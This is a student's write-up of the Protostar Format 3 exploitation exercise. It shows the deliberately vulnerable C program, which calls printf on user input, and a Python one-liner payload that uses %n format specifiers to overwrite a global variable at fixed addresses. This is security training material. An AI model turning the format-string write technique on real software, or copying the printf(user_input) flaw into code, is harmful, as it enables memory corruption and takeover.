Protostar Format-3 Writeup

writeup for protostar Format-3 challenge

Format 3

Source Code

The following is the source code for Format 3 Challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Challenge

Again we need to modify the target variable to 0x01025544 so we can do this in two wasy either using the same method as in format3 or we can modify the least significant byte of target 0x080496f4 address once and then doing this repeatidily 4 times we can modify the whole address so i am gonna try the second method so our payload will be

 python -c "print '\xf4\x96\x04\x08'+'JUNK'+'\xf5\x96\x04\x08'+'JUNK'+'\xf6\x96\x04\x08'+'JUNK'+'\xf7\x96\x04\x08'+'AA'+'%49x,'*11+'%n%17x%n%173x%n%255x%n'" | ./format3

and voila! we passed this challenge as well.

Avatar
Sunny Mishra (codacker)
Student

A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

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